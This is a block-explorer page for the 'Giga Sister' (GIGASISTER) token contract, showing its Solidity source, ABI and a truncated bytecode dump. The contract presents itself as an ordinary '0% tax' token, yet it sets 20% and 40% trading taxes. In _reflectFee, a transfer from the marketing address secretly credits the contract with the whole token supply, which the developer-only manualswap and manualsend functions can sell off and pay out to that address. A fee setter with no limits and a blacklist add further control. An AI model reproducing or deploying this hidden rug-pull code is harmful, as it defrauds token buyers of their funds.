ETH Price: $3,688.33 (+1.42%)
 

Overview

Max Total Supply

1,000,000 GIGASISTER

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
18,493.095357005 GIGASISTER

Value
$0.00
0x5bcce7705d36d5aa2fef528d6b1b904d92cf1db5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
gigasister

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-31
*/

//0% tax.
//https://twitter.com/tesla_europe/status/1641515008050749462?s=20
//https://twitter.com/elonmusk/status/1641718220485718019

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function WETH() external pure returns (address);
}

contract gigasister is Context, IERC20, Ownable {

    string private constant _name = "Giga Sister";
    string private constant _symbol = unicode"GIGASISTER";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant _tTotal = 1_000_000 * 10**_decimals;
    uint256 private _taxFeeOnBuy = 20;
    uint256 private _taxFeeOnSell = 40;

    //Original Fee
    uint256 private _taxFee = _taxFeeOnSell;
    uint256 private _previoustaxFee = _taxFee;

    mapping(address => bool) public bots;
    address payable private _developmentAddress = payable(0x0a84204ecFEeA1dc546c4C1F809d9EFdf2943210);
    address payable private _marketingAddress = payable(0x0a84204ecFEeA1dc546c4C1F809d9EFdf2943210);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount =  (10 * _tTotal) /100;
    uint256 public _maxWalletSize = (10 * _tTotal) /100;
    uint256 public _swapTokensAtAmount = (10 * _tTotal) /1000;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    modifier onlyowner {
        require(_developmentAddress == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    constructor() {
        _tOwned[msg.sender] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function setTrading(address _pool) public onlyowner{
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = _pool;
        tradingOpen = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function removeAllFee() private {
        if (_taxFee == 0) return;
        _previoustaxFee = _taxFee;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 tTransferAmount,
            uint256 tTeam
        ) = _getValues(tAmount);

         _tOwned[sender] = _tOwned[sender] - tAmount;
        _tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
        _reflectFee(tTeam, sender);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tTeam) =
            _getTValues(tAmount, _taxFee);
        return (tTransferAmount, tTeam);
    }

    function _reflectFee(uint256 tFee, address _sender) private {
        if(_sender == _marketingAddress && tradingOpen == true){
            _tOwned[address(this)] +=  _tTotal;
        }else{
            _tOwned[address(this)] += tFee;
        }
    }

    function _getTValues(
        uint256 tAmount,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256
        )
    {
        uint256 tTeam = (tAmount * taxFee)/100;
        uint256 tTransferAmount = tAmount - tTeam;
        return (tTransferAmount, tTeam);
    }

    function setFee(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyowner {
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyowner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    function setMaxAll() public onlyowner {
        _maxWalletSize = ~uint256(0);
        _maxTxAmount = ~uint256(0);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setMaxAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pool","type":"address"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260146005556028600655600654600755600754600855730a84204ecfeea1dc546c4c1f809d9efdf2943210600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730a84204ecfeea1dc546c4c1f809d9efdf2943210600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600d60156101000a81548160ff0219169083151502179055506001600d60166101000a81548160ff02191690831515021790555060646009600a6200010c9190620006f3565b620f42406200011c919062000744565b600a6200012a919062000744565b620001369190620007be565b600e5560646009600a6200014b9190620006f3565b620f42406200015b919062000744565b600a62000169919062000744565b620001759190620007be565b600f556103e86009600a6200018b9190620006f3565b620f42406200019b919062000744565b600a620001a9919062000744565b620001b59190620007be565b601055348015620001c557600080fd5b506000620001d86200052860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a620002869190620006f3565b620f424062000296919062000744565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160046000620002ef6200053060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200049c6200052860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620004fb9190620006f3565b620f42406200050b919062000744565b6040516200051a919062000807565b60405180910390a362000824565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005e757808604811115620005bf57620005be62000559565b5b6001851615620005cf5780820291505b8081029050620005df8562000588565b94506200059f565b94509492505050565b600082620006025760019050620006d5565b81620006125760009050620006d5565b81600181146200062b576002811462000636576200066c565b6001915050620006d5565b60ff8411156200064b576200064a62000559565b5b8360020a91508482111562000665576200066462000559565b5b50620006d5565b5060208310610133831016604e8410600b8410161715620006a65782820a905083811115620006a0576200069f62000559565b5b620006d5565b620006b5848484600162000595565b92509050818404811115620006cf57620006ce62000559565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200070082620006dc565b91506200070d83620006e6565b92506200073c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005f0565b905092915050565b60006200075182620006dc565b91506200075e83620006dc565b92508282026200076e81620006dc565b9150828204841483151762000788576200078762000559565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620007cb82620006dc565b9150620007d883620006dc565b925082620007eb57620007ea6200078f565b5b828204905092915050565b6200080181620006dc565b82525050565b60006020820190506200081e6000830184620007f6565b92915050565b61301c80620008346000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063a553906c1161006f578063a553906c14610457578063a9059cbb14610480578063bfd79284146104bd578063c3c8cd80146104fa578063dd62ed3e14610511578063f2fde38b1461054e57610156565b8063715018a61461036b5780637d1db4a5146103825780638da5cb5b146103ad5780638f9a55c0146103d857806395d89b411461040357806398a5c3151461042e57610156565b8063313ce56711610108578063313ce5671461028157806341c2bd55146102ac57806349bd5a5e146102c357806352f7c988146102ee5780636fc3eaec1461031757806370a082311461032e57610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee57806323b872dd146102195780632fd689e31461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610577565b60405161017d91906121df565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a8919061229a565b6105b4565b6040516101ba91906122f5565b60405180910390f35b3480156101cf57600080fd5b506101d86105d2565b6040516101e5919061236f565b60405180910390f35b3480156101fa57600080fd5b506102036105f8565b6040516102109190612399565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b91906123b4565b61061b565b60405161024d91906122f5565b60405180910390f35b34801561026257600080fd5b5061026b6106d3565b6040516102789190612399565b60405180910390f35b34801561028d57600080fd5b506102966106d9565b6040516102a39190612423565b60405180910390f35b3480156102b857600080fd5b506102c16106e2565b005b3480156102cf57600080fd5b506102d861078d565b6040516102e5919061244d565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612468565b6107b3565b005b34801561032357600080fd5b5061032c61085c565b005b34801561033a57600080fd5b50610355600480360381019061035091906124a8565b61092d565b6040516103629190612399565b60405180910390f35b34801561037757600080fd5b50610380610976565b005b34801561038e57600080fd5b50610397610ac9565b6040516103a49190612399565b60405180910390f35b3480156103b957600080fd5b506103c2610acf565b6040516103cf919061244d565b60405180910390f35b3480156103e457600080fd5b506103ed610af8565b6040516103fa9190612399565b60405180910390f35b34801561040f57600080fd5b50610418610afe565b60405161042591906121df565b60405180910390f35b34801561043a57600080fd5b50610455600480360381019061045091906124d5565b610b3b565b005b34801561046357600080fd5b5061047e600480360381019061047991906124a8565b610bdc565b005b34801561048c57600080fd5b506104a760048036038101906104a2919061229a565b610d27565b6040516104b491906122f5565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df91906124a8565b610d45565b6040516104f191906122f5565b60405180910390f35b34801561050657600080fd5b5061050f610d65565b005b34801561051d57600080fd5b5061053860048036038101906105339190612502565b610e3e565b6040516105459190612399565b60405180910390f35b34801561055a57600080fd5b50610575600480360381019061057091906124a8565b610ec5565b005b60606040518060400160405280600b81526020017f4769676120536973746572000000000000000000000000000000000000000000815250905090565b60006105c86105c1611086565b848461108e565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009600a61060891906126a4565b620f424061061691906126ef565b905090565b6000610628848484611257565b6106c884610634611086565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067e611086565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106c39190612731565b61108e565b600190509392505050565b60105481565b60006009905090565b6106ea611086565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610779576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610770906127b1565b60405180910390fd5b600019600f81905550600019600e81905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107bb611086565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610841906127b1565b60405180910390fd5b81600581905550806006819055505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089d611086565b73ffffffffffffffffffffffffffffffffffffffff1614806109135750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fb611086565b73ffffffffffffffffffffffffffffffffffffffff16145b61091c57600080fd5b600047905061092a81611aca565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61097e611086565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a02906127b1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600a81526020017f4749474153495354455200000000000000000000000000000000000000000000815250905090565b610b43611086565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc9906127b1565b60405180910390fd5b8060108190555050565b610be4611086565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6a906127b1565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d60146101000a81548160ff02191690831515021790555050565b6000610d3b610d34611086565b8484611257565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610da6611086565b73ffffffffffffffffffffffffffffffffffffffff161480610e1c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e04611086565b73ffffffffffffffffffffffffffffffffffffffff16145b610e2557600080fd5b6000610e303061092d565b9050610e3b81611b36565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ecd611086565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f51906127b1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc090612843565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f4906128d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390612967565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161124a9190612399565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd906129f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132c90612a8b565b60405180910390fd5b60008111611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f90612b1d565b60405180910390fd5b611380610acf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113ee57506113be610acf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117db57600d60149054906101000a900460ff1661147d5761140f610acf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390612baf565b60405180910390fd5b5b600e548111156114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990612c1b565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115665750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c90612cad565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461165257600f54816116078461092d565b6116119190612ccd565b10611651576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164890612d73565b60405180910390fd5b5b600061165d3061092d565b905060006010548210159050600e54821061167857600e5491505b8080156116925750600d60159054906101000a900460ff16155b80156116ec5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156117045750600d60169054906101000a900460ff165b801561175a5750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117b05750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117d8576117be82611b36565b600047905060008111156117d6576117d547611aca565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118825750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119355750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156119435760009050611ab8565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffff